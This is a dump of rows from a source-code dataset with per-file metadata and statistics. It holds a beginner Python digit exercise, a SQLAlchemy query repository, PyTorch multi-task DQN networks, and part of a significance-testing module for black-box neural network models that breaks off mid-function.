cf7f00020515731031275a9b8d2696d7bf3bb5dc
|
[
"MIT"
] | null | null | null |
exercisio23.py
|
bruno194/EXERCICIOS
|
cf7f00020515731031275a9b8d2696d7bf3bb5dc
|
[
"MIT"
] | null | null | null |
numero = str(input('digite um numero'))
print('unidade: {}'.format(numero[1]))
print('dezena: {}'.format(numero[2]))
print('centena: {} '.format(numero[3]))
print('unidade de milhar: {}'.format(numero[4]))
| 34.333333
| 48
| 0.65534
| 28
| 206
| 4.821429
| 0.571429
| 0.355556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021053
| 0.07767
| 206
| 5
| 49
| 41.2
| 0.689474
| 0
| 0
| 0
| 0
| 0
| 0.339806
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.8
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
578ac58c979fe8249e02e5b2e57a75de4d57379c
| 398
|
py
|
Python
|
server/src/repositories/FilmTop5.py
|
alexfire008/centrale
|
f08c66f6064005fa371cbe56401a0e2c692ce905
|
[
"MIT"
] | 1
|
2019-06-17T08:24:52.000Z
|
2019-06-17T08:24:52.000Z
|
server/src/repositories/FilmTop5.py
|
alexfire008/centrale
|
f08c66f6064005fa371cbe56401a0e2c692ce905
|
[
"MIT"
] | null | null | null |
server/src/repositories/FilmTop5.py
|
alexfire008/centrale
|
f08c66f6064005fa371cbe56401a0e2c692ce905
|
[
"MIT"
] | null | null | null |
""" Defines the User repository """
from models import Notation
from models import db
from sqlalchemy import func
class FilmTop5Repository:
"""The repository for the notation average truc"""
@staticmethod
def get():
return db.session.query(Notation.movie_title, func.avg(Notation.note)).group_by(Notation.movie_title).order_by(func.avg(Notation.note).desc()).limit(5).all()
| 28.428571
| 165
| 0.738693
| 54
| 398
| 5.37037
| 0.611111
| 0.068966
| 0.110345
| 0.131034
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005865
| 0.143216
| 398
| 13
| 166
| 30.615385
| 0.844575
| 0.180905
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| true
| 0
| 0.428571
| 0.142857
| 0.857143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
5795f2ab46be7e3ec9c242a4c59a1575f4d52ada
| 320
|
py
|
Python
|
pycomponents/html/__init__.py
|
expert-m/pycomponents
|
2add583d02f826a333753265c9801efad2ecf976
|
[
"MIT"
] | null | null | null |
pycomponents/html/__init__.py
|
expert-m/pycomponents
|
2add583d02f826a333753265c9801efad2ecf976
|
[
"MIT"
] | null | null | null |
pycomponents/html/__init__.py
|
expert-m/pycomponents
|
2add583d02f826a333753265c9801efad2ecf976
|
[
"MIT"
] | null | null | null |
from .base import *
from .basic import *
from .forms import *
from .frames import *
from .images import *
from .audio_and_video import *
from .links import *
from .lists import *
from .tables import *
from .semantics import *
from .meta import *
from .formatting import *
from .programming import *
from .other import *
| 21.333333
| 30
| 0.7375
| 44
| 320
| 5.318182
| 0.409091
| 0.555556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.175
| 320
| 14
| 31
| 22.857143
| 0.886364
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
57d463ae014a1adcc81be7555a5834bfa6a272f4
| 243
|
py
|
Python
|
Python/Tests/TestData/AstAnalysis/Functions.py
|
techkey/PTVS
|
8355e67eedd8e915ca49bd38a2f36172696fd903
|
[
"Apache-2.0"
] | 695
|
2019-05-06T23:49:37.000Z
|
2022-03-30T01:56:00.000Z
|
Python/Tests/TestData/AstAnalysis/Functions.py
|
techkey/PTVS
|
8355e67eedd8e915ca49bd38a2f36172696fd903
|
[
"Apache-2.0"
] | 1,672
|
2019-05-06T21:09:38.000Z
|
2022-03-31T23:16:04.000Z
|
Python/Tests/TestData/AstAnalysis/Functions.py
|
techkey/PTVS
|
8355e67eedd8e915ca49bd38a2f36172696fd903
|
[
"Apache-2.0"
] | 186
|
2019-05-13T03:17:37.000Z
|
2022-03-31T16:24:05.000Z
|
def f():
'''f'''
pass
def f1(): pass
f2 = f
if True:
def g(): pass
else:
def h(): pass
class C:
def i(self): pass
def j(self):
def j2(self):
pass
class C2:
def k(self): pass
| 11.045455
| 25
| 0.432099
| 37
| 243
| 2.837838
| 0.486486
| 0.228571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.028571
| 0.423868
| 243
| 21
| 26
| 11.571429
| 0.721429
| 0.004115
| 0
| 0.133333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.533333
| false
| 0.466667
| 0
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
57d4a21c9e38d88d70ac59d0af2e069ddcb1851d
| 84
|
py
|
Python
|
D_Network_analysis/solutions/ex1_2.py
|
oercompbiomed/CBM101
|
20010dcb99fbf218c4789eb5918dcff8ceb94898
|
[
"MIT"
] | 7
|
2019-07-03T07:41:55.000Z
|
2022-02-06T20:25:37.000Z
|
D_Network_analysis/solutions/ex1_2.py
|
oercompbiomed/CBM101
|
20010dcb99fbf218c4789eb5918dcff8ceb94898
|
[
"MIT"
] | 9
|
2019-03-14T15:15:09.000Z
|
2019-08-01T14:18:21.000Z
|
D_Network_analysis/solutions/ex1_2.py
|
oercompbiomed/CBM101
|
20010dcb99fbf218c4789eb5918dcff8ceb94898
|
[
"MIT"
] | 11
|
2019-03-12T10:43:11.000Z
|
2021-10-05T12:15:00.000Z
|
print(G.number_of_edges())
print(len(G.edges()))
# both are equally valid solutions
| 21
| 34
| 0.75
| 14
| 84
| 4.357143
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095238
| 84
| 4
| 34
| 21
| 0.802632
| 0.380952
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
57de75decc2524ccfcf879c9b0e7cfcbd68a761b
| 7,684
|
py
|
Python
|
examples/shared/dqn/networks.py
|
MushroomRL/mushroom-rl-meta
|
08c13bd8115c81aba083ec62672956026e7ddd8a
|
[
"MIT"
] | null | null | null |
examples/shared/dqn/networks.py
|
MushroomRL/mushroom-rl-meta
|
08c13bd8115c81aba083ec62672956026e7ddd8a
|
[
"MIT"
] | null | null | null |
examples/shared/dqn/networks.py
|
MushroomRL/mushroom-rl-meta
|
08c13bd8115c81aba083ec62672956026e7ddd8a
|
[
"MIT"
] | null | null | null |
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
class AtariNetwork(nn.Module):
n_features = 512
def __init__(self, input_shape, _, n_actions_per_head, use_cuda, n_games,
features, dropout):
super().__init__()
self._n_input = input_shape
self._n_games = n_games
self._max_actions = max(n_actions_per_head)[0]
self._features = features
self._use_cuda = use_cuda
self._n_shared = 2
self._h1 = nn.ModuleList(
[nn.Conv2d(self._n_input[0], 32, kernel_size=8, stride=4) for _ in range(
self._n_games)]
)
self._h2 = nn.ModuleList(
[nn.Conv2d(32, 64, kernel_size=4, stride=2) for _ in range(
self._n_games)]
)
self._h3 = nn.ModuleList(
[nn.Conv2d(64, 64, kernel_size=3, stride=1) for _ in range(
self._n_games)]
)
self._h4 = nn.Linear(3136, self.n_features)
self._h5 = nn.ModuleList(
[nn.Linear(self.n_features, self._max_actions) for _ in range(
self._n_games)]
)
nn.init.xavier_uniform_(self._h4.weight,
gain=nn.init.calculate_gain('relu'))
for i in range(self._n_games):
nn.init.xavier_uniform_(self._h1[i].weight,
gain=nn.init.calculate_gain('relu'))
nn.init.xavier_uniform_(self._h2[i].weight,
gain=nn.init.calculate_gain('relu'))
nn.init.xavier_uniform_(self._h3[i].weight,
gain=nn.init.calculate_gain('relu'))
nn.init.xavier_uniform_(self._h5[i].weight,
gain=nn.init.calculate_gain('linear'))
def forward(self, state, action=None, idx=None):
state = state.float() / 255.
h = list()
for i in np.unique(idx):
idxs = np.argwhere(idx == i).ravel()
h_f = F.relu(
self._h1[i](state[idxs, :self._n_input[0]])
)
h_f = F.relu(self._h2[i](h_f))
h.append(F.relu(self._h3[i](h_f)))
cat_h3 = torch.cat(h)
if self._features == 'relu':
h_f = F.relu(self._h4(cat_h3.view(-1, 3136)))
elif self._features == 'sigmoid':
h_f = torch.sigmoid(self._h4(cat_h3.view(-1, 3136)))
else:
raise ValueError
q = [self._h5[i](h_f) for i in range(self._n_games)]
q = torch.stack(q, dim=1)
if action is not None:
action = action.long()
q_acted = torch.squeeze(
q.gather(2, action.repeat(1, self._n_games).unsqueeze(-1)), -1)
q = q_acted
if idx is not None:
idx = torch.from_numpy(idx)
if self._use_cuda:
idx = idx.cuda()
if q.dim() == 2:
q_idx = q.gather(1, idx.unsqueeze(-1))
else:
q_idx = q.gather(1, idx.view(-1, 1).repeat(
1, self._max_actions).unsqueeze(1))
q = torch.squeeze(q_idx, 1)
return q
def get_shared_weights(self):
p1 = list()
for p in self._h4.parameters():
p1.append(p.data.detach().cpu().numpy())
return p1
def set_shared_weights(self, weights):
w1 = weights
for p, w in zip(self._h4.parameters(), w1):
w_tensor = torch.from_numpy(w).type(p.data.dtype)
if self._use_cuda:
w_tensor = w_tensor.cuda()
p.data = w_tensor
def freeze_shared_weights(self):
for p in self._h4.parameters():
p.requires_grad = False
def unfreeze_shared_weights(self):
for p in self._h4.parameters():
p.requires_grad = True
class GymNetwork(nn.Module):
def __init__(self, input_shape, _, n_actions_per_head, use_cuda, features,
dropout, n_features=80):
super().__init__()
self._n_input = input_shape
self._n_games = len(n_actions_per_head)
self._max_actions = max(n_actions_per_head)[0]
self._use_cuda = use_cuda
self._n_shared = 4
self._features = features
self._h1 = nn.ModuleList(
[nn.Linear(self._n_input[i][0], n_features) for i in range(
len(input_shape))]
)
self._h2 = nn.Linear(n_features, n_features)
self._h3 = nn.Linear(n_features, n_features)
self._h4 = nn.ModuleList(
[nn.Linear(n_features, self._max_actions) for _ in range(
self._n_games)]
)
nn.init.xavier_uniform_(self._h2.weight,
gain=nn.init.calculate_gain('relu'))
nn.init.xavier_uniform_(self._h3.weight,
gain=nn.init.calculate_gain('relu'))
for i in range(self._n_games):
nn.init.xavier_uniform_(self._h1[i].weight,
gain=nn.init.calculate_gain('relu'))
nn.init.xavier_uniform_(self._h4[i].weight,
gain=nn.init.calculate_gain('linear'))
def forward(self, state, action=None, idx=None):
state = state.float()
h1 = list()
for i in np.unique(idx):
idxs = np.argwhere(idx == i).ravel()
h1.append(F.relu(self._h1[i](state[idxs, :self._n_input[i][0]])))
cat_h1 = torch.cat(h1)
h_f = F.relu(self._h2(cat_h1))
if self._features == 'relu':
h_f = F.relu(self._h3(h_f))
elif self._features == 'sigmoid':
h_f = torch.sigmoid(self._h3(h_f))
else:
raise ValueError
q = [self._h4[i](h_f) for i in range(self._n_games)]
q = torch.stack(q, dim=1)
if action is not None:
action = action.long()
q_acted = torch.squeeze(
q.gather(2, action.repeat(1, self._n_games).unsqueeze(-1)), -1)
q = q_acted
if idx is not None:
idx = torch.from_numpy(idx)
if self._use_cuda:
idx = idx.cuda()
if q.dim() == 2:
q_idx = q.gather(1, idx.unsqueeze(-1))
else:
q_idx = q.gather(1, idx.view(-1, 1).repeat(
1, self._max_actions).unsqueeze(1))
q = torch.squeeze(q_idx, 1)
return q
def get_shared_weights(self):
p2 = list()
p3 = list()
for p in self._h2.parameters():
p2.append(p.data.detach().cpu().numpy())
for p in self._h3.parameters():
p3.append(p.data.detach().cpu().numpy())
return p2, p3
def set_shared_weights(self, weights):
w2, w3 = weights
for p, w in zip(self._h2.parameters(), w2):
w_tensor = torch.from_numpy(w).type(p.data.dtype)
if self._use_cuda:
w_tensor = w_tensor.cuda()
p.data = w_tensor
for p, w in zip(self._h3.parameters(), w3):
w_tensor = torch.from_numpy(w).type(p.data.dtype)
if self._use_cuda:
w_tensor = w_tensor.cuda()
p.data = w_tensor
def freeze_shared_weights(self):
for p in self._h2.parameters():
p.requires_grad = False
for p in self._h3.parameters():
p.requires_grad = False
def unfreeze_shared_weights(self):
for p in self._h2.parameters():
p.requires_grad = True
for p in self._h3.parameters():
p.requires_grad = True
| 32.697872
| 85
| 0.530713
| 1,031
| 7,684
| 3.692532
| 0.118332
| 0.030208
| 0.034148
| 0.028369
| 0.838193
| 0.809299
| 0.744156
| 0.673759
| 0.659574
| 0.610454
| 0
| 0.028099
| 0.346955
| 7,684
| 234
| 86
| 32.837607
| 0.73057
| 0
| 0
| 0.604278
| 0
| 0
| 0.008069
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.064171
| false
| 0
| 0.02139
| 0
| 0.122995
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
17b0ab50f83e4b3d03c38e3742d6653db8220b16
| 54,196
|
py
|
Python
|
dnn_inference/BBoxTest.py
|
StatML-dAI/dnn-inference
|
f17b6945dfff80118e25f1b39b56c3e4027b3b92
|
[
"MIT"
] | null | null | null |
dnn_inference/BBoxTest.py
|
StatML-dAI/dnn-inference
|
f17b6945dfff80118e25f1b39b56c3e4027b3b92
|
[
"MIT"
] | null | null | null |
dnn_inference/BBoxTest.py
|
StatML-dAI/dnn-inference
|
f17b6945dfff80118e25f1b39b56c3e4027b3b92
|
[
"MIT"
] | 2
|
2022-02-17T15:57:42.000Z
|
2022-02-20T11:50:45.000Z
|
"""
Significance testing based on black-box models
"""
# Author: Ben Dai <bendai@cuhk.edu.hk>
from tensorflow.keras.models import load_model
import numpy as np
from scipy.stats import norm, mode
from sklearn.model_selection import train_test_split
from tensorflow.keras.callbacks import EarlyStopping
import warnings
import tensorflow.keras.backend as K
from tensorflow.keras.initializers import glorot_uniform
import tensorflow as tf
from sklearn.model_selection import KFold
from scipy.stats import hmean, gmean
import scipy.optimize
import matplotlib.pyplot as plt
import os
from scipy.optimize import brentq
from copy import deepcopy
import time
def comb_p_value(P_value, cp):
"""
combining p-values
"""
P_value = np.array(P_value)
P_value
cv_num = len(P_value)
# print(P_value)
if cv_num > 1:
P_value = np.array(P_value)
if cp == 'gmean':
P_value_cp = np.e*gmean(P_value, 0)
elif cp == 'median':
P_value_cp = 2*np.median(P_value, 0)
elif cp == 'Q1':
P_value_cp = cv_num/2.*np.partition(P_value, 1)[1]
elif cp == 'min':
P_value_cp = cv_num*np.min(P_value, 0)
elif cp == 'hmean':
P_value_cp = np.e * np.log(cv_num) * hmean(P_value, 0)
elif cp == 'hommel':
const = np.sum(1. / (np.arange(cv_num) + 1.))
order_const = const*(cv_num/(np.arange(cv_num) + 1.))
P_value_cp = np.sort(P_value)*order_const
P_value_cp = np.min(P_value_cp)
elif cp == 'cauchy':
t0 = np.mean(np.tan((.5 - P_value)*np.pi))
P_value_cp = .5 - np.arctan(t0)/np.pi
else:
warnings.warn("cp should be {geometric, min, median, Q1, hmean, hommel, cauchy}")
else:
P_value_cp = np.mean(P_value, 0)
P_value_cp = np.minimum(P_value_cp, 1.)
return P_value_cp
def size_fun(x, N, min_N=2000):
return x + min_N * np.log(x) / 2 / np.log(min_N/2) - N
class split_test(object):
"""
Class for one-split/two-split test based on deep neural networks.
Parameters
----------
inf_feats: list-like | shape = (num of tests, dim of features)
List of covariates/Features under hypothesis testings, one element corresponding to a hypothesis testing.
model: {keras-defined neural network}
A neural network for original full dataset
model_mask: {keras-defined neural network}
A neural network for masked dataset by masking/changing the features under hypothesis testing
change: {'mask', 'perm'}, default='mask'
The way to change the testing features, ``'mask'`` replaces testing features as zeros, while ``'perm'`` permutes features via instances.
alpha: float (0,1), default=0.05
The nominal level of the hypothesis testing
verbose: {0, 1}, default=0
If print the testing results, 1 indicates YES, 0 indicates NO.
eva_metric: {'mse', 'zero-one', 'cross-entropy', or custom metric function}
The evaluation metric, ``'mse'`` is the l2-loss for regression, ``'zero-one'`` is the zero-one loss for classification, ``'cross-entropy'`` is log-loss for classification. It can also be custom metric function as ``eva_metric(y_true, y_pred)``.
cp_path: string, default='./splitTest_checkpoints'
The checkpoints path to save the models
Methods
-------
adaRatio
dual_feat
testing
visual
"""
def __init__(self, inf_feats, model, model_mask, change='mask', alpha=.05, verbose=0, eva_metric='mse', cp_path='./splitTest_checkpoints'):
self.inf_feats = inf_feats
self.model = model
self.model_mask = model_mask
self.alpha = alpha
self.change = change
self.eva_metric = eva_metric
self.p_values = []
self.p_values_comb = []
self.cp_path = cp_path
def metric(self, y_true, y_pred):
"""
Return the loss for `self.eva_metric`
Parameters
----------
y_true: the ground truth
y_pred: the predicted label
"""
if self.eva_metric == 'mse':
metric_tmp = ((y_true - y_pred)**2).flatten()
elif self.eva_metric == 'mae':
metric_tmp = abs(y_true - y_pred).flatten()
elif self.eva_metric == 'zero-one':
label_pred = np.argmax(y_pred, 1)
label_true = np.argmax(y_true, 1)
metric_tmp = 1. - 1.*(label_true == label_pred)
elif self.eva_metric == 'cross-entropy':
label_true = np.argmax(y_true, 1)
metric_tmp = -np.log(y_pred[range(len(y_pred)),label_true])
else:
metric_tmp = self.eva_metric(y_true, y_pred)
return metric_tmp
def save_init(self):
"""
Save the initialization for full and mask network models under class Dnn
"""
self.model.built = True
self.model_mask.built = True
# self.model.save_weights(self.cp_path+'/model_init.h5')
# self.model_mask.save_weights(self.cp_path+'/model_mask_init.h5')
self.model.save(self.cp_path+'/model_init')
self.model_mask.save(self.cp_path+'/model_mask_init')
def reset_model(self):
"""
Reset the full and mask network models under class Dnn
"""
self.model.built = True
self.model_mask.built = True
# self.model.load_weights(self.cp_path+'/model_init.h5')
# self.model_mask.load_weights(self.cp_path+'/model_mask_init.h5')
self.model = load_model(self.cp_path+'/model_init')
self.model_mask = load_model(self.cp_path+'/model_mask_init')
def reload_model(self, path_full, path_mask):
"""
reload the pre-saved model.
"""
# path_tmp = self.cp_path+'/model'+'_inf'+str(k)+'_cv'+str(h)+'.h5'
# mask_path_tmp = self.cp_path+'/model_mask'+'_inf'+str(k)+'_cv'+str(h)+'.h5'
self.model.save_weights(path_full)
self.model_mask.save_weights(path_mask)
self.model.load_weights(path_full)
self.model_mask.load_weights(path_mask)
## can be extent to @abstractmethod
def dual_feat(self, X, cat_feats=[], k=0):
"""
Return instances with masked/perm k-th hypothesized features (dual feats).
Parameters
----------
X: array-like
Target instances.
cat_feats: list-like, default = []
The col-index for categorical features
k: integer, default = 0
k-th hypothesized features in inf_feats
"""
if self.change == 'mask':
Z = self.mask_cov(X, cat_feats=cat_feats, k=k)
elif self.change == 'perm':
Z = self.perm_cov(X, k=k)
return Z
def mask_cov(self, X, cat_feats=[], k=0):
"""
Return instances with masked k-th hypothesized features.
Parameters
----------
X: array-like
Target instances.
cat_feats: list-like, default = []
The col-index for categorical features; now it's only work for tabular data
k: integer, default = 0
k-th hypothesized features in inf_feats
"""
Z = X.copy()
n_sample = len(Z)
if len(self.inf_feats[k].shape) > 1:
## for channels_last image data: shape should be (#samples, img_rows, img_cols, channel)
if len(cat_feats):
warnings.warn("cat_feats is ignored. cat_feats only works for tabular data, whereas a image dataset is given.")
Z[:, self.inf_feats[k][0][:,None], self.inf_feats[k][1], :] = 0.
else:
## this for tabular data
cat_inf_feats = set(self.inf_feats[k]).intersection(set(cat_feats))
cont_inf_feats = set(self.inf_feats[k]) - set(cat_inf_feats)
cat_inf_feats, cont_inf_feats = list(cat_inf_feats), list(cont_inf_feats)
Z[:,cont_inf_feats] = np.array([np.mean(Z[:,cont_inf_feats], axis=0)]*n_sample)
if len(cat_inf_feats) > 0:
Z[:,cat_inf_feats] = np.array([mode(Z[:,cat_inf_feats], axis=0)[0][0]]*n_sample)
return Z
def perm_cov(self, X, k=0):
"""
Return instances with permuted k-th hypothesized features.
Parameters
----------
X: array-like
Target instances.
k: integer, default = 0
k-th hypothesized features in inf_feats
"""
Z = X.copy()
if len(self.inf_feats[k].shape) > 1:
## for channels_last image data: shape should be (#samples, img_rows, img_cols, channel)
Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], :]= np.random.permutation(Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], :])
else:
Z[:,self.inf_feats[k]]= np.random.permutation(Z[:,self.inf_feats[k]])
return Z
def noise_cov(self, X, k=0):
"""
Return instances with niosed k-th hypothesized features.
Parameters
----------
X: array-like
Target instances.
k: integer, default = 0
k-th hypothesized features in inf_feats
"""
Z = X.copy()
Z[:,self.inf_feats[k]] = np.random.randn(len(X), len(self.inf_feats[k]))
return Z
def adaRatio(self, X, y, k=0, cat_feats=[], fit_params={}, split_params={}):
"""
Return a data-adaptive splitting ratio and perturbation level.
Parameters
----------
X: array-like | shape=(n_samples, dim1, dim2, ...)
Features.
y: array-like | shape=(n_samples, dim)
Outcomes.
k: integer, default = 0
k-th hypothesized features in inf_feats
fit_params: dict | shape = dict of fitting parameters
See keras ``fit``: (https://keras.rstudio.com/reference/fit.html), including ``batch_size``, ``epoch``, ``callbacks``, ``validation_split``, ``validation_data``.
split_params: {dict of splitting parameters}
split: {'one-split', 'two-split'}, default='one-split'
one-split or two-split tests.
perturb: float, default=None
Perturb level for the one-split test, if ``perturb = None``, then the perturb level is determined by adaptive tunning.
num_perm: int, default=100
Number of permutation for determine the splitting ratio.
ratio_grid: list of float (0,1), default=[.2, .4, .6, .8]**
A list of estimation/inference ratios under searching.
if_reverse: {0,1}, default=0
``if_reverse = 0`` indicates the loop of ``ratio_grid`` starts from smallest one to largest one; ``if_reverse = 1`` indicates the loop of ``ratio_grid`` starts from largest one to smallest one.
perturb_scale: integer, default=5
The scale of perturb, and the perturbation grid is generated based on 2**range(-perturb_scale, perturb_scale)*var(losses by full model)
min_inf: int, default=0
The minimal size for inference sample.
min_est: int, default=0
The minimal size for estimation sample.
ratio_method: {'fuse', 'close'}, default='fuse'
The adaptive splitting method to determine the optimal estimation/inference ratios.
cv_num: int, default=1
The number of cross-validation to shuffle the estimation/inference samples in adaptive ratio splitting. We recommend to set **cv_num** in **adaRatio** as same as **cv_num** in **testing**.
cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default ='hommel'
A method to combine p-values obtained from cross-validation. see (https://arxiv.org/pdf/1212.4966.pdf) for more detail.
verbose: {0,1}, default=1
if print the results the adaptive tuning procedure.
cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'} | default = 'hommel'
A method to combine p-values obtained from cross-validation. see (https://arxiv.org/pdf/1212.4966.pdf) for more detail.
verbose: {0,1} | default=1
If print the adaptive splitting process.
Returns
-------
n_opt: integer
A reasonable estimation sample size.
m_opt: integer
A reasonable inference sample size.
perturb_opt: float
A reasonable perturbation level.
"""
split_params_default = {'split': 'one-split',
'perturb': None,
'num_perm': 100,
'ratio_grid': [.2, .4, .6, .8],
'if_reverse': 0,
'perturb_scale': 5,
'min_inf': 0,
'min_est': 0,
'ratio_method': 'fuse',
'cv_num': 1,
'cp': 'hommel',
'verbose': 1}
split_params_default.update(split_params)
split_params = split_params_default
perturb=split_params['perturb']
split=split_params['split']
perturb_scale=split_params['perturb_scale']
ratio_grid=split_params['ratio_grid']
if_reverse=split_params['if_reverse']
min_inf=split_params['min_inf']
min_est=split_params['min_est']
ratio_method=split_params['ratio_method']
num_perm=split_params['num_perm']
cv_num= split_params['cv_num']
cp = split_params['cp']
verbose= split_params['verbose']
ratio_grid.sort()
if if_reverse == 1:
ratio_grid = list(reversed(ratio_grid))
candidate, Err1_lst, ratio_lst, P_value_lst = [], [], [], []
found = 0
if split == 'two-split':
for ratio_tmp in ratio_grid:
ratio_tmp = ratio_tmp/2
m_tmp = int(len(X)*ratio_tmp)
n_tmp = len(X) - 2*m_tmp
if (m_tmp < min_inf) or (n_tmp < min_est):
continue
# split data
P_value = []
for h in range(cv_num):
self.reset_model()
P_value_cv = []
## generate permutated samples
X_perm = X.copy()
X_perm = self.perm_cov(X_perm, k)
## split sample
X_train, X_test, y_train, y_test = train_test_split(X_perm, y, train_size=n_tmp, random_state=1)
# training for full model
history = self.model.fit(x=X_train, y=y_train, **fit_params)
# training for mask model
Z_train = self.dual_feat(X_train, cat_feats, k)
history_mask = self.model_mask.fit(x=Z_train, y=y_train, **fit_params)
Z_test = self.dual_feat(X_test, cat_feats, k)
# evaluation for mask model
pred_y_mask = self.model_mask.predict(Z_test)
for j in range(num_perm):
X_test_perm = X_test.copy()
X_test_perm = self.perm_cov(X_test_perm, k)
pred_y = self.model.predict(X_test_perm)
ind_inf, ind_inf_mask = train_test_split(range(len(pred_y)), train_size=m_tmp, random_state=42)
metric_tmp = self.metric(y_test[ind_inf], pred_y[ind_inf])
metric_mask_tmp = self.metric(y_test[ind_inf_mask], pred_y_mask[ind_inf_mask])
p_value_tmp = self.diff_p_value(metric_tmp, metric_mask_tmp)
P_value_cv.append(p_value_tmp)
P_value.append(P_value_cv)
P_value = np.array(P_value)
P_value_cp = np.array([comb_p_value(P_value[:,i], cp=cp) for i in range(num_perm)])
## compute the type 1 error
Err1 = len(P_value_cp[P_value_cp < self.alpha]) / len(P_value_cp)
Err1_lst.append(Err1)
# P_value_lst.append(P_value)
ratio_lst.append(ratio_tmp)
if verbose==1:
print('(AdaRatio) Est. Type 1 error: %.3f; p_value_mean: %.3f, inf sample ratio: %.3f'
%(Err1, P_value_cp.mean(), ratio_tmp))
# print('(AdaRatio) p_value: %.3f, inference sample ratio: %.3f' %(P_value.mean(), ratio_tmp))
if Err1 < self.alpha:
found = 1
if ratio_method == 'fuse':
m_opt = m_tmp
n_opt = len(X) - 2*m_opt
break
if found==0:
warnings.warn("No ratio can control the Type 1 error, pls increase the sample size, and the inference sample ratio is set as the min of ratio_grid.")
Err1_lst, ratio_lst = np.array(Err1_lst), np.array(ratio_lst)
m_opt = int(ratio_lst[np.argmin(Err1_lst)] * len(X))
n_opt = len(X) - 2*m_opt
return n_opt, m_opt
if split == 'one-split':
if perturb != None:
perturb_grid = [perturb]
for perturb_idx_tmp in range(-perturb_scale, perturb_scale):
perturb_level_tmp = 2**(perturb_idx_tmp)
## stop if current perturb is enough to control the type 1 error
if found == 1:
break
Err1_lst, ratio_lst, perturb_lst, P_value_lst = [], [], [], []
for ratio_tmp in ratio_grid:
m_tmp = int(len(X)*ratio_tmp)
n_tmp = len(X) - m_tmp
if (m_tmp < min_inf) or (n_tmp < min_est):
continue
# split data
P_value = []
for h in range(cv_num):
self.reset_model()
P_value_cv = []
## generate permutated samples
X_perm = X.copy()
X_perm = self.perm_cov(X_perm, k)
# split samples
X_train, X_test, y_train, y_test = train_test_split(X_perm, y, train_size=n_tmp, random_state=h)
# training for full model
history = self.model.fit(x=X_train, y=y_train, **fit_params)
# training for mask model
Z_train = self.dual_feat(X_train, cat_feats, k)
history_mask = self.model_mask.fit(x=Z_train, y=y_train, **fit_params)
## evaluation for the mask model
Z_test = self.dual_feat(X_test, cat_feats, k)
pred_y_mask = self.model_mask.predict(Z_test)
metric_mask_tmp = self.metric(y_test, pred_y_mask)
# evaluation
for j in range(num_perm):
X_test_perm = X_test.copy()
X_test_perm = self.perm_cov(X_test_perm, k)
## compute the metric based on full model
pred_y = self.model.predict(X_test_perm)
metric_tmp = self.metric(y_test, pred_y)
## compute the p-value based on the diff metrics
p_value_tmp = self.diff_p_value(metric_tmp, metric_mask_tmp,
perturb_level=perturb_level_tmp)
P_value_cv.append(p_value_tmp)
P_value.append(P_value_cv)
P_value = np.array(P_value)
P_value_cp = np.array([comb_p_value(P_value[:,i], cp=cp) for i in range(num_perm)])
Err1 = len(P_value_cp[P_value_cp<=self.alpha])/len(P_value_cp)
Err1_lst.append(Err1)
if verbose==1:
print('(AdaRatio) Est. Type 1 err: %.3f; p_value_mean: %.3f, inf sample ratio: %.3f, perturb_level: %s'
%(Err1, P_value_cp.mean(), ratio_tmp, perturb_level_tmp))
P_value_lst.append(P_value_cp)
ratio_lst.append(ratio_tmp)
